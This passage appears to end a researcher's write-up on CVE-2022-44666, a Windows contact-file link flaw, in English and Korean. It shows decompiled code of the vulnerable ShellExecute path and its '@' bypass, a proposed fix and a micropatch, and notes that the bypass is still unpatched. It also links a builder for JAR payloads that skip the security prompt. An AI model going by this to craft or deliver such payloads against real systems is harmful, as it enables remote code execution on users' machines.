***Update 2023/06/19:*** After reading [@pfiatde][R.24]'s [post on "ZipJar"][R.25], this interesting information makes JAR files a good candidate to be used as payload in this vulnerability, which by the way it is still 0day nowadays, as the MotW gets ignored, doesn't require accepting any prompt.
JAR payload was taken from github repository [calc_security_poc][R.26].
There you go attached a little builder, [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc) to make your own POC from some template.

Don't forget give the thanks to [@microlovu][R.27] and [@mlftsecresponse][R.28]. 😂
## Proposed fix
Remember the vulnerable code in the function "fnSummaryProc":```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44;
}
}
...
함수 "IsInternetAddress"는 href 속성이 이메일 주소에 해당하는지 확인하기 위해 의도적으로 만들어졌습니다. 따라서 제가 제안하는 수정 방법(그리고 라이브러리에서 사용하는 가져온 함수들을 따르는)은 다음과 같습니다:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...
이렇게 간단합니다. "SafeExecute"를 호출하기 전에 이것만 확인하면 됩니다. 대상 문자열(v23)이 "mailto:"로 시작하는지 테스트하기만 하면 버그가 완전히 수정될 것입니다 (제 생각에는).
## 비공식 수정
며칠/몇 주 전에 이 문제를 알리기 위해 [0patch][R.23]의 [@mkolsek][R.30]에게 연락했을 때, 그는 항상 저에게 매우 친절한데, 그 이후로 Windows 7에 대한 [비공식 수정][R.29]이 제공되고 있다고 말했습니다(4년 전). 그것은 놀라운 일이었고 좋은 소식이었습니다!
테스트 결과 CVE-2022-44666의 새로운 변종을 성공적으로 차단했습니다. 이 마이크로패치는 href 속성으로 전달된 공격자 제어 문자열이 "mailto:", "http://" 또는 "https://"로 시작하지 않으면 앞에 "http://"를 추가하여 문제를 완전히 수정합니다. 이제 최신 Windows 버전으로 확장될 예정이며, 일부 오프셋만 업데이트하면 됩니다.

어쨌든 공식 패치를 받는 것이 더 나을 것입니다.
## 감사의 말
+ [@hyp3rlinx][R.1]: 특별한 찬사와 감사를 전합니다. 그는 몇 년 전에 이 연구를 시작했고 그의 작업은 이 분석에 필수적이었습니다. ~~그가 이 사실을 발견한 것에 대해 크레딧을 받아야 했지만 안타깝게도 제때 연락하지 못했습니다~~. 이미 완료되었습니다 (***업데이트 2023/02/08***).
+ [@Edu_Braun_0day][R.20]: 그는 또한 [이 문제][R.31]에 대해 작업했습니다.
+ [@mkolsek][R.30].
+ [@matalaz][R.12].
+ [@buffaloverflow][R.19].
+ [@msftsecresponse][R.2].
+ ...
[@j00sean](https://twitter.com/j00sean) 제공
[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.exploit-db.com/exploits/46222%3E "John Page (일명 hyp3rlinx)의 익스플로잇은 4년 전에 완전히 공개되었습니다"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "syslink 컨트롤에 대한 MS 문서"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478: Mozilla Firefox의 search-ms 비활성화"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF 속성 및 관련 필드 문서"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor 서버 빠른 시작"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz"
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW 함수"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina 취약점"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk 취약점"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab 파일"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "부모 프로세스 기법"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "부모 프로세스를 통한 Getsystem"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar, 약간 예상치 못한 공격 체인"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "4년 전에 출시된 마이크로패치"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: <https://packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html> "Microsoft Windows VCF 또는 Contact' 파일 - URL 조작-스푸핑 임의 코드 실행"
